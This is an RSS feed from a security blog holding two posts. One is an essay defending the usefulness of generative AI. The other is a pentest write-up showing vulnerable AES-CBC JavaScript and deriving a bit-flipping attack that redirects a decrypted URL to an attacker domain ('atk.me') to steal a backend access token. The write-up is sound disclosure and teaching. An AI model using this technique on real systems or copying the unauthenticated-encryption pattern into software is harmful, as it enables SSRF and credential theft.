<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Max' Musings on Security]]></title><description><![CDATA[Max' Musings on Security]]></description><link>https://blog.maass.xyz</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1661095658139/knG1yQRxU.png</url><title>Max&apos; Musings on Security</title><link>https://blog.maass.xyz</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 17 Apr 2026 20:54:52 GMT</lastBuildDate><atom:link href="https://blog.maass.xyz/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Please Stop Calling GenAI "Useless"]]></title><description><![CDATA[A common shorthand I am seeing in criticisms of Generative AI technologies is that GenAI / LLMs are “useless”. This shows up again and again, especially in hot takes on Mastodon, and sometimes from people whose professional work I deeply respect. Whi...]]></description><link>https://blog.maass.xyz/please-stop-calling-genai-useless</link><guid isPermaLink="true">https://blog.maass.xyz/please-stop-calling-genai-useless</guid><category><![CDATA[genai]]></category><category><![CDATA[AI]]></category><category><![CDATA[Discourse]]></category><dc:creator><![CDATA[Max Maass]]></dc:creator><pubDate>Thu, 06 Mar 2025 15:24:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/KfgmYHAG-NU/upload/5620c70c9265fe07d09abe95f216cd9a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A common shorthand I am seeing in criticisms of Generative AI technologies is that GenAI / LLMs are “useless”. This shows up again and again, especially in hot takes on Mastodon, and sometimes from people whose professional work I deeply respect. While I understand that, to some, it might be a shorthand for a more thought-out criticism, this argument still annoys me, and I think it hurts the credibility of people who fundamentally want to do something good: ask if a disruptive new technology that has big social, legal, and also environmental impact is actually “good”, “worth it”, or whatever else you want to call it. This is my case for why we should stop using this argument, and talk about the (very real!) issues with GenAI differently.</p>
<p>Additionally, I believe that AI critics can benefit from at least understanding the positions of AI proponents, even if they disagree with them. Having empathy and extending the benefit of the doubt goes a long way to seeing them not as radical capitalists hell-bent on replacing humans with machines and ready to boil the oceans to get their way, and instead understanding that, fundamentally, many of these people believe that they are acting for the benefit of humanity, and that <em>not</em> rolling out AI as fast as possible is unethical. You need not agree with that, but you need to understand it in order to engage with them.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">In this article, am going to use the shorthand “AI” as a stand-in for Generative AI / LLMs. I am aware of both the discussions whether these are “real” AI, and of the fact that (Gen)AI is more than LLMs. Let’s shake hands on using this definition for the purpose of this article, knowing its limitations, and not argue about semantics in the comments, alright?</div>
</div>

<h1 id="heading-the-usefulness-of-ai">The Usefulness of AI</h1>
<p>What makes AI useless or useful? (What makes <em>anything</em> useless or useful?)</p>
<p>A very simple definition could be: a technology is useful if it solves a problem for its user. That problem may be small (“please proofread this essay for me”) or life-changing (“<a target="_blank" href="https://www.today.com/health/mom-chatgpt-diagnosis-pain-rcna101843">ChatGPT diagnosed my rare disease</a>” is basically a whole genre now, even though the <a target="_blank" href="https://www.medrxiv.org/content/10.1101/2023.04.20.23288859v2">effectiveness is still hit or miss</a>). The goal of the user might be ethical or unethical, prosocial or antisocial, or somewhere in between on the spectrum - what matters is that someone wants the problem solved, and AI is helping that person solve it. If it is successful, in the eyes of the user, then it is useful <em>to them</em>.</p>
<p><strong>AI is useful to me, specifically</strong>. I find myself using it to aid in restructuring or rewriting my texts, not by telling it “rewrite this for me”, but by asking “please review this text and highlight points where the arguments are unclear, the storyline doesn’t make sense, or the general style could be strengthened". And the results are good! Just like when using a human reviewer, you use 20% of what they tell you directly, adapt 60%, and ignore the remaining 20%, and the review cycles are measured in seconds, not days. This is useful.</p>
<p>I also use it to learn about broad concepts, have it explain specific things to me in terms that I can understand more easily, write short bash scripts that are ugly but only need to work once, and many other things. And I occasionally use services like Perplexity to have them summarize the state of research on specific, niche topics that I am not an expert in. Does it get things wrong or make them up? Occasionally, yes, but <strong>that is not the point</strong>. The point is that getting a 80% correct explanation of the current state of research on some thing that I know very little about is more useful to me than spending three hours attempting to decipher the scientific papers this explanation was pulled from, and I can then go out and verify the tidbits that are really important in my situation and that I absolutely need to get right.</p>
<p>Just today, I assisted a bike driver who had been hit by a delivery bike and fallen on her unprotected head (seriously, people, wear helmets!). I used an AI to quickly pull up a list of symptoms for concussion to check with her. This gave me the information in half the time it would have taken me to scroll past the ads on Google, click on the first link, wait for it to load, dismiss the cookie banner and popup ad, and get a less well formatted and potentially less complete version of this information (that, let’s be real, may have also been written by AI). This is useful.</p>
<h1 id="heading-the-ai-optimists-perspective">The AI Optimists Perspective</h1>
<p>While I've outlined how AI is useful to me personally, it's worth exploring why AI proponents are so enthusiastic about this technology. Many see potential far beyond the current applications:</p>
<ul>
<li><p><strong>Productivity amplification</strong>: Proponents see AI as a tool that can dramatically increase human productivity across domains, from coding to creative work. Cricics often frame this as “AI taking away jobs”, AI proponents see it as a hyper-effective autocomplete that takes away the toil of the “boring parts” of the job (no one likes writing boilerplate code), and leaves more time for the interesting parts.</p>
</li>
<li><p><strong>Democratization of capabilities</strong>: They envision AI making specialized skills more accessible to people without formal training. This starts with people using <a target="_blank" href="https://threadreaderapp.com/thread/1640539217498632192.html">ChatGPT to help them draft letters to dispute incorrect decisions by banks</a> which contain all the right magic words to make the bank listen, but does not end there.</p>
</li>
<li><p><strong>Problem-solving at scale</strong>: Many believe AI can help address complex challenges like climate modeling, drug discovery, and scientific research. The founder of Anthropic speaks about having “<a target="_blank" href="https://darioamodei.com/machines-of-loving-grace">a country of geniuses in a datacenter</a>” that can solve problems, run experiments, conduct their own research, and allow humanity to progress at a pace never seen before.</p>
</li>
<li><p><strong>Economic transformation</strong>: Some see AI as enabling new business models and economic opportunities that weren't previously possible. Already, people are <a target="_blank" href="https://www.electrictwin.com/">running market research on simulated populations of people</a>, or having virtual stakeholders at the table in ideation meetings to get feedback much faster and cheaper, and for AI proponents, this is just the start.</p>
</li>
<li><p><strong>New Applications that we haven’t even considered</strong>: Of course, the strongest form of AI optimism is to say that whatever we can imagine now will pale in comparison to what AI will really be capable of, in the same way that the people who built ARPANET could not forsee YouTube.</p>
</li>
</ul>
<p>Understanding these perspectives doesn't require agreeing with them. However, engaging with the strongest versions of pro-AI arguments rather than caricatures allows for more productive dialogue about the technology's future, and about the costs associated with pursuing it.</p>
<h1 id="heading-why-is-calling-ai-useless-hurting-your-argument">Why Is Calling AI Useless Hurting Your Argument?</h1>
<p>Let’s assume that you actually want to convince people with your argument against AI, and aren’t just in it for the memes and hot takes. We have established that <em>to the people you want to convince and bring to your side</em>, AI is useful. You may not think that the use that they are getting from it is good (one persons “effective content marketing machine” is anothers “AI slop generator poisoning the Internet”), but if you want to convince them, you need to meet them where they are and start with a shared reality / a shared set of assumptions to base a productive discussion on. By saying that AI is useless, you are signaling that this shared reality does not exist on a foundational level, and are hurting the credibility of your other arguments.</p>
<p>You’ve probably been on the other side of this kind of argument yourself. If you are an AI sceptic, chances are you have a high affinity for technology and are probably hanging out with people from hackerspaces, or gamers, or other technically-inclined subcultures. (There are other groups of people opposed to AI, like artists, but let me use these as an example, as this is where I have my own roots). Do you remember when people were saying things like these?</p>
<p>“Why would anyone need more than ISDN speeds at home?”</p>
<p>“Oh yes, we thought about digitizing these forms, but making you send them by fax / letter is a lot easier.”</p>
<p>“What the hell do you need mobile internet for?”</p>
<p>“Well, this whole ‘Internet’ thing is never going to catch on, why are you wasting your time with it? Why not learn mainframe programming?” (okay, that probably hasn’t been said in a few years, but you get the idea)</p>
<p>Did sentences like this make you trust the judgement of the person delivering it? Would you have been as open as before to receiving potentially more valid arguments from them after that, or would you have disqualified them as cranks who didn’t know what they were talking about? I know I always had a hard time taking people seriously after sentences like that.</p>
<p>People on all levels, from school children to CEOs, have made the experience that AI can help them solve their problems. Some people see AI as a technological revolution that is “on the small end, <em>at least</em> as large as the Internet”. These are fundamentally serious people who have to convince other fundamentally serious people that spending hundreds of billion dollars on this bet is the right call, and <em>they are succeeding</em> with these arguments. Telling them that AI is useless is so far outside of their perceived reality that they will immediately stop listening to anything you are saying and ignore you as a crank, luddite, or whatever other term they choose to use.</p>
<p>Now, is it possible that AI is a bubble that will pop? In my eyes, it is not only possible but inevitable. Many new technologies have a bubble phase. The Dot-Com-Bubble also had a <a target="_blank" href="https://en.wikipedia.org/wiki/Dot-com_bubble#Bubble_in_telecom">telco-bubble</a> attached to it that popped <em>hard</em> after significant initial overinvestment in the buildout of connectivity, leading to massive losses for the affected telcos. AI evangelists seem to be split on whether the AI bubble will pop or whether the demand for “artificial cognition” (their words) will increase so much that the currently planned buildout will be insufficient, but let’s be clear: if it pops, they will be <em>broadly OK with that</em> and count it as the cost of doing business and rolling out a disruptive new technology. They are writing books <a target="_blank" href="https://press.stripe.com/boom">exhorting the power of bubble dynamics in driving change</a> (and making a few good arguments!). And, let’s be honest: if you could set a couple billion dollars of private equity funds on fire to roll out a technology that significantly changes the world for the better a couple years earlier, wouldn’t you?</p>
<h1 id="heading-distinguishing-between-poor-implementations-and-core-utility">Distinguishing Between Poor Implementations and Core Utility</h1>
<p>We've all seen the awkwardly integrated AI assistants that companies have bolted onto existing products to please shareholders. Similarly, the flood of “X, but with AI” startups often deliver little value beyond buzzword compliance and setting venture capital on fire. These implementations can indeed be useless or even counterproductive, and it is only correct to call this out.</p>
<p>This pattern isn't unique to AI. We saw similar dynamics with blockchain (a hype cycle where I am far more open to the argument of “fundamentally useless except for crime and destroying the planet”, but I digress), IoT, and countless other technology waves. Poor implementations and hype-driven products deserve criticism, and pointing them out is both valid and necessary. And, yes, it can be funny and even cathartic to point and laugh when they implode.</p>
<p>However, the failure of these specific implementations doesn't invalidate the core utility of the underlying technology. Just as the Dot-Com bubble's burst didn't mean e-commerce was fundamentally a bad idea, the inevitable collapse of many AI ventures won't mean the technology itself lacks utility.</p>
<h1 id="heading-the-right-criticisms-of-ai">The Right Criticisms Of AI?</h1>
<p>So, what <em>should</em> we argue about, then? In my view, there’s no lack of easy targets or hard questions to be had here. The elephant in the room is the environmental impact of planning to spend double-digit percentage points of the national power grid capacity on AI computations. The social impact of replacing (skilled or unskilled) labor with computers, the impact on the effectiveness of companies doing this too early and making expensive mistakes due to AI not being suited for these purposes, the impact on IT Security and maintainability of having AI write your code for you, the impact on education when people can just generate a complete essay, the exploitation of people in training these models, … there are lots and lots of criticisms to choose from. Pick one. Hell, pick all of them. Go to town.</p>
<p>Or go deeper on where your feeling of “AI is useless” comes from. Is it that you expect it to over-promise and under-deliver? Is it the ecosystem of grifters looking for easy money around it? Is it the fact that the system will just <em>make things up</em> if it runs out of ideas? Or have you tried that specific feature someone else is touting and were disappointed? Why?</p>
<p>These are problems that we need to address, and many of these problems are also seen as problems by AI proponents, and are being actively worked on - <strong>because these people aren’t dumb or evil</strong>. They see the technology through other eyes, they weigh the importance of different factors differently, or they have different expectations of the effects of future models on all of these issues. This isn’t a cabal of grifters out to steal money from Hard-Working Americans™, but many of them are people who believe that what they are doing is bringing society closer to another revolution in capabilities and progress.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Personally, I find reading the articles and listening to the podcasts of people who aren’t AI evangelists but are in the pro-AI camp quite helpful to update my mental models of what the “other side” is thinking. Stuff like the Complex Systems podcast with Patrick McKenzie on <a target="_blank" href="https://www.complexsystemspodcast.com/episodes/boom-busts-and-long-term-progress-with-byrne-hobart-2/">boom and bust cycles</a>, or on <a target="_blank" href="https://www.complexsystemspodcast.com/episodes/ai-llm-data-center-power-economics/">AI and power economics</a> (NB: I don’t consider this an overall fantastic podcast, but find the episodes interesting for learning what a proud capitalist with some libertarian leanings thinks about these issues, even if I don’t share these views). Similarly, reading what <a target="_blank" href="https://darioamodei.com/machines-of-loving-grace">the founder of an AI lab sees as the potential upside of AI</a> can be instructive, even if you don’t agree with them. I’m sure there are more good sources that I can’t remember off the top of my head (feel free to put them in the comments below or <a target="_blank" href="https://infosec.exchange/@hacksilon">send them to me on Mastodon</a> and I will add them here).</p>
<p>Having discussions about the limitations and costs of AI is important. However, having an agreed common reality is a prerequisite for that. Calling AI categorically useless, or only engaging with strawman versions of proponents’ arguments, sabotages this common reality, which will help no one. If we want to be heard, we have to be honest and acknowledging that AI <em>can</em> be a tool to solve some problems, while sometimes disagreeing on whether these problems <em>should</em> be solved, are solved <em>well</em>, or solving them is worth the cost, can be a more fruitful base for discussions. Just because you accept something as useful does not mean that you endorse it. It just means that you have to work a little harder and dig a little deeper in your criticism - and that will make it a better discussion for everyone.</p>
<p>In the end, there will probably not be agreement, but hopefully, there will at least be more understanding than before. And, no matter which side you are standing on, polarized discussions that are driving people into factions aren’t the way forward.</p>
<hr />
<h1 id="heading-a-personal-afterword">A Personal Afterword</h1>
<p>I wrote this article because the one-sided arguments I was reading on Mastodon annoyed me, and because some of the criticisms did not match my experience. Frankly, this essay is just something that I needed to get out of my system, so that I could have something to point to and say “this! This is what I mean!” without having to rehash the same arguments over and over.</p>
<p>This does not mean that I see AI proponents as doing a much better job in this area, with some of them basically calling opponents luddites that stand in the way of the inevitable march of progress. In the end, both sides of the debate need to be willing to honestly engage with one another, and I expect this from proponents <em>at least</em> as much as from opponents - they are the ones who are foisting hundreds of billions of dollars in investments on us while cheerfully telling us that this stuff may wipe out humanity.</p>
<p>This piece is focused on the side of the AI critics simply because these are the people in my social circles and thus more likely to be reading it. If the person who you are talking to is not making a good-faith effort, you should absolutely call them out on it, and I don’t expect you to go high when they go low. All I’m asking is that we should not be the ones throwing the first stone, and that we keep our minds open to the possibility that there may be some truth to what AI proponents are saying, and that they, like us, are humans who believe in what they are doing, and think that they are doing what is best. It’s cliché, but that does not make it wrong.</p>
<p>In the interest of transparency and "showing my work": I wrote a first draft of this article and then fed it to Claude 3.7 Sonnet to get feedback on it. I implemented many changes to address weaknesses identified by this conversation. In the section "Distinguishing Between Poor Implementations and Core Utility", I used some text proposed by Claude, before making significant changes to it to adapt it to my style and the argument I wanted to make. You can <a target="_blank" href="https://kagi.com/assistant/3d26130f-a7fe-4f63-b4c5-8119159692d7">read the full, unedited transcript here</a> (where you will also see the complete first draft of the article).</p>
<p>The next morning, after receiving some input from a friend, I found that I wanted to make a different point more strongly and made some further edits with input from Claude 3.7 Sonnet, which resulted in the “AI Optimists Perspective” section, which was also partially-generated and then adapted by me. <a target="_blank" href="https://kagi.com/assistant/2c357ca6-cf6e-4240-ae39-46b78d07c2ce">You can find the second transcript here</a>. In my eyes, the article was much improved through this collaboration, though such things are of course in the eye of the beholder.</p>
<p>I first verbalized these arguments in a dinner conversation with two colleagues, who I thank for giving me the opportunity to crystallize my thinking in a fruitful discussion on this topic. I also received feedback from <a target="_blank" href="https://krisshrishak.de/">Kris Shrishak</a>, and while I did not follow some of his recommendations, his feedback strenghtened the article and helped me clarify to myself what I wanted to say.</p>
]]></content:encoded></item><item><title><![CDATA[Encryption Isn't Enough: Compromising a Payment Processor using Math]]></title><description><![CDATA[During a security engagement with my employer, iteratec, I found and reported a security issue that allowed me to completely compromise the internal customer service frontend of a payment processor, which would have let us steal customer information ...]]></description><link>https://blog.maass.xyz/encryption-isnt-enough-compromising-a-payment-processor-using-math</link><guid isPermaLink="true">https://blog.maass.xyz/encryption-isnt-enough-compromising-a-payment-processor-using-math</guid><category><![CDATA[Cryptography]]></category><category><![CDATA[Security]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[architecture]]></category><category><![CDATA[Write Up]]></category><dc:creator><![CDATA[Max Maass]]></dc:creator><pubDate>Wed, 26 Feb 2025 11:00:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/pxVOztBa6mY/upload/722a518083f22d6380cf44d5d3d94c61.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>During a security engagement with my employer, <a target="_blank" href="https://www.iteratec.com/en/what-we-do/it-security/">iteratec</a>, I found and reported a security issue that allowed me to completely compromise the internal customer service frontend of a payment processor, which would have let us steal customer information or trigger payments.</p>
<p>What makes this issue interesting is both the internal mechanisms of the issue (an entertaining case of incorrect use of cryptography) and the things it can teach us about secure system design, and how seemingly small architecture decisions can exacerbate the severity of a vulnerability. In this article, we will start with a high-level view of the system, and then drill down into one part until we reach the problem. We will then discuss how and why the attack works, before zooming back out and discussing how a more robust system design could have mitigated the issue.</p>
<p>So, without further ado, let's dig in.</p>
<h2 id="heading-the-system">The System</h2>
<p>The software under test was part of a larger system that, taken together, handled payment processing, accounting, refunds, customer service, and several other features. It was using a microservice architecture, with the individual components linked together through REST and message queueing APIs. A central identity management (IDM) system was handling identities for both users and service accounts (the latter being used by microservices when communicating with each other). Individual users and accounts could have roles assigned to them, and these roles would be checked by the REST interfaces of the individual microservices to verify authentication and authorization. All REST communication was routed via two API gateways, one for external APIs, and one for internal use between microservices.</p>
<p>The scope of the security check was a single application, which was used by the internal staff of the company to (among other things) inspect the state of payments (e.g., when a customer was asking if their payment had come through), and trigger repayments (e.g., when a customer was canceling an order or had accidentally overpaid). It consisted of a frontend running in a browser, that communicated with a Backend-for-Frontend (BFF) which would receive requests from the frontend, ensure the users' session was valid and the user was allowed to use the requested functionality, and translate them to REST calls to other services (via an API gateway) which were authenticated with the service account of the BFF by including an access token obtained from the IDM as part of the request. The use of an API gateway allows the system to keep the actual microservices behind a firewall and only expose the API gateway, reducing the attack surface and providing a single place for authenticating, logging, and auditing incoming requests.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671634754996/yoQnIqA7B.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-the-feature">The Feature</h2>
<p>Today, we are interested in one specific feature of the system: the file download. In some cases, a customer service representative would need to be able to look at an invoice or another document in the system. These documents were managed by a different microservice, so this required a call via the API gateway, triggered by the BFF. The developers chose to model this by having the BFF retrieve the list of documents as part of their backend call that retrieved information about a specific payment. The list of documents provided convenient download links that could be retrieved when in possession of the correct access token - however, since the users didn’t have an access token for the API gateway, any download would have to be proxied through the BFF.</p>
<p>The trivial solution would have been to simply provide these links to the frontend and create an endpoint on the BFF of the form <code>/api/file_download?url=https://api.company.com/files/abc.pdf</code>. However, the developers were (rightly) wary of creating an API like this, as it could be abused for an attack called <a target="_blank" href="https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/">server-side request forgery (SSRF)</a>, where an attacker could provide arbitrary URLs and trick the server into requesting them. This can be prevented by performing detailed checks of the requested URLs, but there is always a residual risk that you got something wrong and an attacker can slip through the cracks.</p>
<p>The developers decided to instead encrypt these links and provide an API endpoint that received these base64-encoded ciphertexts, decrypted them, and downloaded the linked files to provide them to the users. In the end, the full sequence of requests and responses would look like this (a key signifies that a request is authenticated with a service account access token that the API gateway understands):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671635410183/HordTwmru.png" alt class="image--center mx-auto" /></p>
<p>With this strategy, the developers figured that there should be no risk of accidentally introducing an SSRF vulnerability, as the attacker would need to know the secret key the application is using for encryption and decryption to insert a different URL.</p>
<h2 id="heading-taking-a-closer-look">Taking A Closer Look</h2>
<p>I am a sucker for any kind of cryptography, so I always take a closer look when I see something like this. In 99% of the cases, you won't find anything, but thinking through all of the subtle ways cryptography may go wrong brings me joy. As this was a "whitebox" engagement (with full access to the source code of the system), I decided to take a closer look.</p>
<p>The BFF was written in Javascript, and the encryption function looked something like this:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// this.key contains the cryptographic key</span>
cipher(text: string) {
    <span class="hljs-comment">// Generate a 16-byte random initialization vector (IV)</span>
    <span class="hljs-keyword">const</span> iv = crypto.randomBytes(<span class="hljs-number">16</span>);
    <span class="hljs-comment">// Initialize the cryptographic API</span>
    <span class="hljs-keyword">const</span> cipheriv = crypto.createCipheriv(<span class="hljs-string">"aes-128-cbc"</span>, <span class="hljs-built_in">this</span>.key, iv);
    <span class="hljs-comment">// Encrypt the data</span>
    <span class="hljs-keyword">const</span> encrypted = Buffer.concat([cipheriv.update(text), cipheriv.final()]);
    <span class="hljs-comment">// Return base64(IV).base64(ciphertext)</span>
    <span class="hljs-keyword">return</span> iv.toString(<span class="hljs-string">"base64"</span>) + <span class="hljs-string">"."</span> + encrypted.toString(<span class="hljs-string">"base64"</span>);
}
</code></pre>
<p>Roughly speaking, the system would generate a so-called initialization vector (IV - more on that below) using a cryptographic randomness function, do some basic setup for encrypting data with AES 128 in Cipher Block Chaining (CBC) mode under a fixed key, encrypt the data, and then return the IV and encrypted string (ciphertext), separated using the dot as a separator character. This is the result that is given out to the frontend.</p>
<p>To decrypt, the same is done in reverse: The data is sent from the frontend to the BFF, split on the dot, the IV and ciphertext decoded from its base64 representation, and the result is decrypted using the fixed cryptographic key in the application. The BFF then retrieves the decrypted URL, attaching its access token to authenticate against the API gateway.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">At this point, you have all the information you need to figure out the attack, given some basic knowledge of cryptography - so, if you want, pause your reading here and try to determine how the attack will play out. If you don't see it yet, you will get another chance a few paragraphs down the line.</div>
</div>

<p>Since not everyone reading this will be intimately familiar with the ins and outs of cryptography, I will quickly recap some basics of cryptography that will be required to understand how this setup poses a security risk. Feel free to skip over any parts that you are already familiar with.</p>
<h2 id="heading-cryptography-101-symmetric-encryption">Cryptography 101: Symmetric Encryption</h2>
<p>The system uses <a target="_blank" href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES</a> to en- and decrypt the data. AES is a so-called symmetric encryption algorithm - the same key is used for encryption and decryption. In mathematical notation, you generally say that the plaintext \(P\) is encrypted under the key \(k\) to create a ciphertext \(C\) (in short: \(C = Enc(k, P)\)), and can be decrypted using the same key (so that \(Dec(k, C) = P\) - I'm giving these notations as it will make understanding the attack easier down the line).</p>
<p>Symmetric ciphers have the advantage that they are quite fast, and in a setup like this, where the same machine is encrypting and decrypting all data, you also don't have to worry about how to make sure that \(k\) is distributed to the right machines. So, this seems like a good choice for the scenario.</p>
<h2 id="heading-cryptography-102-block-cipher-modes">Cryptography 102: Block Cipher Modes</h2>
<p>Now, AES (like any other cryptographic primitive) has one drawback: It can only encrypt a limited amount of data. In the case of AES-128, that is 128 bits or 16 bytes. However, most data that you may want to encrypt are longer than 16 bytes. Your first intuition may be to simply split the data into blocks of 16 bytes and encrypt each block separately under the same key:</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d6/ECB_encryption.svg/1920px-ECB_encryption.svg.png" alt="ECB encryption.svg" class="image--center mx-auto" /></p>
<p>(This image, and the following similar illustrations, were all created by <a target="_blank" href="https://commons.wikimedia.org/wiki/User:WhiteTimberwolf">WhiteTimberwolf</a> and placed in the public domain. You can find the originals in <a target="_blank" href="https://en.wikipedia.org/w/index.php?title=Block_cipher_mode_of_operation&amp;oldid=1132330761">this Wikipedia article</a>)</p>
<p>This approach is called the "Electronic Codebook" (ECB) mode, and is insecure, as it reveals patterns in the encrypted data if specific blocks of the plain text are identical (you may be familiar with <a target="_blank" href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_\(ECB\)">this famous illustration of the problem</a>).</p>
<p>Now, this isn't great, so, several alternatives were designed. The one we are interested in here is called Cipher Block Chaining (CBC). In this mode, the ciphertext of the previous block is combined with the plaintext of the to-be-encrypted block using the exclusive OR (XOR, denoted \(\oplus\) in mathematical notation) operation.</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/d/d3/Cbc_encryption.png?20060521150706" alt="File:Cbc encryption.png" class="image--center mx-auto" /></p>
<p>Or, written in a more mathematical way: \(C_n = Enc(k, P_n \oplus C_{n-1})\). This ensures that repeating patterns of data in the plaintext do not result in repeating ciphertext blocks. This leaves us with an edge case: What happens with the first block, for which no previous block of ciphertext exists? Here, we instead use a string of random bytes called the Initialization Vector (IV) in place of the ciphertext of the previous block, i.e. \(C_0 = Enc(k, P_0 \oplus IV)\). This IV is sent together with the ciphertext (i.e., it isn't secret), and is needed to properly decrypt the data.</p>
<p>To decrypt, the process is done in reverse:</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/CBC_decryption.svg/600px-CBC_decryption.svg.png" alt="Cipher block chaining (CBC) mode decryption" class="image--center mx-auto" /></p>
<p>Or, written as a formula: \(P_n = Dec(k, C_n) \oplus C_{n-1}\), with \(P_0 = Dec(k, C_0) \oplus IV\). This works because if you XOR a value with itself, it will cancel out, leading to the original plaintext. So, the decryption looks like this:</p>
<p>$$\begin{align} P_n &amp;= Dec(k, C_n) \oplus C_{n-1} \\ &amp;= P_n \oplus C_{n-1} \oplus C_{n-1} \\ &amp;= P_n \\ \\ P_0 &amp;= Dec(k, C_0) \oplus IV \\ &amp; = P_0 \oplus IV \oplus IV \\ &amp; = P_0 \end{align}$$</p><p>And that's all there is to it - CBC mode is a fairly straightforward encryption mode that addresses the problems of ECB mode without adding a ton of extra complexity.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">At this point, you have all the basics you need to figure out the attack. Feel free to think about it for a minute and try to derive the attack yourself before reading on.</div>
</div>

<p>Encrypting data like this is all well and good if your goal is to keep the data <em>confidential</em>. However, in this system, the secrecy of the data isn't actually the most important part - making sure that the data <em>remains unchanged</em> is. This property, called <em>authenticity</em>, is what we really want to achieve.</p>
<p>Looking at it from this lense, we begin to see a problem: Using encryption does not, in itself, provide any authentication of the ciphertext - we can simply change the ciphertext and the server will happily try to decrypt the data (and receive garbage as the resulting plaintext).</p>
<p>This, in itself, isn't very useful to us as an attacker. But what if we could figure out a way to change the data we provide to the server in a specific way, so that a predictable, targeted change in the plaintext occurs during decryption?</p>
<h2 id="heading-cryptography-201-malleable-encryption">Cryptography 201: Malleable Encryption</h2>
<p>Let's take another look at CBC mode decryption, specifically that of the first block of data. To refresh your memory, here's the formula:</p>
<p>$$\begin{align} P_0 &amp;= Dec(k, C_0) \oplus IV \\ &amp; = P_0 \oplus IV \oplus IV \\ &amp; = P_0 \end{align}$$</p><p>Recall that neither \(C_0\) nor the \(IV\) are protected against modification. Now, let's assume for a moment that we know the value of \(P\_0\), and our goal is to ensure that the decryption will result in a different value, denoted \(P\_0'\). How can we achieve this?</p>
<p>The answer is: fairly easily. First, we need to determine the difference (i.e., the XOR) between the two values - let's call it \(D\) for "difference":</p>
<p>$$D= P_0 \oplus P_0'$$</p><p>Now, let's take this difference, and XOR it on the initialization vector (IV) we have, to obtain a new IV:</p>
<p>$$IV'=IV\oplus D$$</p><p>If we now provide the (unchanged) ciphertext together with the new IV to the server to decrypt, it will compute the following:</p>
<p>$$P_0^? = Dec(k, C_0) \oplus IV'$$</p><p>First, let's resolve the decryption operation</p>
<p>$$P_0^? = P_0 \oplus IV \oplus IV'$$</p><p>Now, we know what \(IV'\) is from the earlier formula, so let's substitute it in.</p>
<p>$$P_0^? = P_0 \oplus IV \oplus IV \oplus D$$</p><p>And we know the value of \(D\) as well, as we computed it earlier, so let's put that into the formula as well:</p>
<p>$$P_0^? = P_0 \oplus IV \oplus IV \oplus P_0 \oplus P_0'$$</p><p>Now, since we know that a value XORed with itself will cancel out, we can simplify the formula in two steps:</p>
<p>$$\begin{align} P_0^? &amp;= P_0 \oplus IV \oplus IV \oplus P_0 \oplus P_0' \\ &amp;= P_0 \oplus P_0 \oplus P_0'\\ &amp;= P_0' \end{align}$$</p><p>And... that's it - we have just tricked the server into decrypting the ciphertext to a different value under our control.</p>
<h2 id="heading-what-does-this-allow-us-to-do">What does this allow us to do?</h2>
<p>We now have full control over the first block (128 bits = 16 bytes) of the plaintext - what can we do with this? Well, remember how we talked about the possibility of <a target="_blank" href="https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/">server-side request forgery (SSRF)</a> earlier? Looking at the URL, we have control over the first 16 characters, so the highlighted part of <mark>https://api.comp</mark>any.com/v1/… - the rest of the URL will remain constant. That is actually enough to redirect the request to a different server, assuming we have a sufficiently short domain name!</p>
<p>For this example, let’s assume I own the domain atk.me. I could manipulate the first 16 bytes of the address to make it decrypt to <mark>http://atk.me?q=</mark>any.com/v1/…, by computing the XOR of the original 16 bytes and my target. In this case, the plaintext URL was known to me due to the whitebox approach in the pentest (and due to an unrelated information leak where it was contained in an error message), so this was trivial. If the URL isn’t known, it could either be guessed, or another cryptographic attack could be applied (a so-called padding oracle attack), which would allow you to recover the full plaintext of the encrypted message under certain conditions (you can find an explanation of this attack in <a target="_blank" href="https://www.nccgroup.com/us/research-blog/cryptopals-exploiting-cbc-padding-oracles/">this article by NCC Group</a>).</p>
<p>The request to the new target still contains the access token that the BFF is using to authenticate against the API gateway, and the BFF will happily send it over to us. So now we are in possession of a valid access token for the API gateway.</p>
<h2 id="heading-how-system-architecture-made-this-worse">How System Architecture made this Worse</h2>
<p>Now, so far, all of this is bad, but recoverable. However, we will now see a series of seemingly trivial architectural decisions that turn this from a nuisance into a disaster for the whole system.</p>
<h3 id="heading-violation-of-the-cryptographic-doom-principle">Violation of the “Cryptographic Doom Principle”</h3>
<p>First of all, all of this is only possible because the system uses unauthenticated ciphertext. This violates the aptly-named “Cryptographic Doom Principle” by Moxie Marlinspike (Creator of the Signal messenger, among other things):</p>
<blockquote>
<p>If you have to perform <em>any</em> cryptographic operation before verifying the MAC on a message you’ve received, it will <em>somehow</em> inevitably lead to doom.</p>
</blockquote>
<p>(Quoted from <a target="_blank" href="https://moxie.org/2011/12/13/the-cryptographic-doom-principle.html">The Cryptographic Doom Principle, by Moxie Marlinspike</a>)</p>
